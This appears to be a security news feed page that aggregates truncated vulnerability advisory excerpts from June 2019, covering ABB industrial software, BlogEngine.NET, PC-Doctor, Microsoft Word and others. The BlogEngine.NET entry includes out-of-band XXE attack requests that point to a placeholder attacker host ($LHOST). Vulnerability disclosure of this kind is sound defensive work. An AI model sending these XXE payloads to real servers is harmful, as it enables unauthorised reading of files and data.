SOLDIERX.COM Nobody Can Stop Information Insemination

Posted by xen1thLabs on Jun 24

XL-19-006 - ABB HMI Outdated Software Components
========================================================================

Identifiers
-----------
XL-19-006
ABBVU-IAMF-1902001
ABBVU-IAMF-1902010

CVSS Score
----------
7.1 (AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L)

Affected vendor
---------------
ABB (new.abb.com)

Credit
------
xen1thLabs - Software Labs

Vulnerability summary
---------------------
ABB HMI uses outdated software components that are...

Posted by xen1thLabs on Jun 24

XL-19-007 - ABB IDAL FTP Server Buffer Overflow Vulnerability
========================================================================

Identifiers
-----------
XL-19-007
CVE-2019-7231
ABBVU-IAMF-1902010

CVSS Score
----------
6.5 (AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Affected vendor
---------------
ABB (new.abb.com)

Credit
------
Eldar Marcussen - xen1thLabs - Software Labs

Vulnerability summary
---------------------
The IDAL FTP server is...

Posted by xen1thLabs on Jun 24

XL-19-005 - ABB HMI Absence of Signature Verification Vulnerability
========================================================================

Identifiers
-----------
XL-19-005
CVE-2019-7229
ABBVU-IAMF-1902003
ABBVU-IAMF-1902012

CVSS Score
----------
8.3 (AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)

Affected vendor
---------------
ABB (new.abb.com)

Credit
------
xen1thLabs - Software Labs

Vulnerability summary
---------------------
ABB HMI uses two...

Posted by xen1thLabs on Jun 24

XL-19-004 - ABB IDAL FTP Server Uncontrolled Format String Vulnerability
========================================================================

Identifiers
-----------
XL-19-004
CVE-2019-7230
ABBVU-IAMF-1902008

CVSS Score
----------
8.8 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Affected vendor
---------------
ABB (new.abb.com)

Credit
------
Eldar Marcussen - xen1thLabs - Software Labs

Vulnerability summary
---------------------
The IDAL FTP...

Posted by Henri Salo on Jun 24

Please use CVE-2019-12935 for this vulnerability.

Posted by gionreale on Jun 24

Quarking Password Manager 3.1.84 suffers from a clickjacking
vulnerability caused by allowing * within web_accessible_resources. An
attacker can take advantage of this vulnerability and cause significant
harm.

CVE-2019-12880

Posted by aaron bishop on Jun 24

BlogEngine.NET, versions 3.3.7 and earlier, are vulnerable to an
Out-of-band XXE attack through syndication.axd and pingback.axd.

*syndication.axd *accepts an external xml as the value for apml through a
request such as:

http://$RHOST/blog/syndication.axd?*apml=http://$LHOST/oob.xml*

*pingback.axd* will parse a POST with an XML body, such as:

<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://$LHOST/ex.dtd&quot...

Samba CVE-2019-12436 Remote Denial of Service Vulnerability

Samba CVE-2019-12435 Remote Denial of Service Vulnerability

Posted by Micah Wiseley on Jun 21

Full Disclosure

I. VULNERABILITY
-------------------------
Uncontrolled search path element vulnerability in PC-Doctor Toolbox prior
to version 7.3 allows local users to gain privileges and conduct DLL
hijacking attacks via a trojan horse DLL located in an unsecured directory
which has been added to the PATH environment variable.

II. CVE REFERENCE
-------------------------
CVE-2019-12280

III. VENDOR
-------------------------
PC-Doctor, Inc....

Microsoft Internet Explorer CVE-2019-0995 Security Bypass Vulnerability

Cisco Prime Service Catalog CVE-2019-1875 Cross Site Scripting Vulnerability

IBM Tririga Application Platform CVE-2018-2008 Unspecified Information Disclosure Vulnerability

Mozilla Firefox and Firefox ESR CVE-2019-11708 Security Bypass Vulnerability

Mozilla Firefox and Firefox ESR CVE-2019-11707 Denial of Service Vulnerability

Pulse Connect Secure and Pulse Policy Secure Multiple Security Vulnerabilities

Symantec DLP CVE-2019-9701 Cross Site Scripting Vulnerability

Posted by Salvatore Bonaccorso on Jun 18

-------------------------------------------------------------------------
Debian Security Advisory DSA-4465-1 security () debian org
https://www.debian.org/security/ Salvatore Bonaccorso
June 17, 2019 https://www.debian.org/security/faq
-------------------------------------------------------------------------

Package : linux
CVE ID : CVE-2019-3846 CVE-2019-5489...

Posted by hyp3rlinx on Jun 18

[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/HC10-HC.SERVER-10.14-REMOTE-INVALID-POINTER-WRITE.txt
[+] ISR: ApparitionSec

[Vendor]
www.hostingcontroller.com

[Product]
HC10 HC.Server Service 10.14

HC10 is a unified hosting automation control panel for web hosts and Cloud
based service providers to manage both Windows & Linux servers
simultaneously as part...

Posted by hyp3rlinx on Jun 18

[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WORD-DECEPTIVE-FILE-REFERENCE.txt
[+] ISR: ApparitionSec
[+] Zero Day Initiative Program

[Vendor]
www.microsoft.com

[Product]
Microsoft Word 2016

[Vulnerability Type]
Deceptive File Reference

[References]
ZDI-CAN-7949

[Security Issue]
When a MS Word ".docx" File contains a hyperlink to...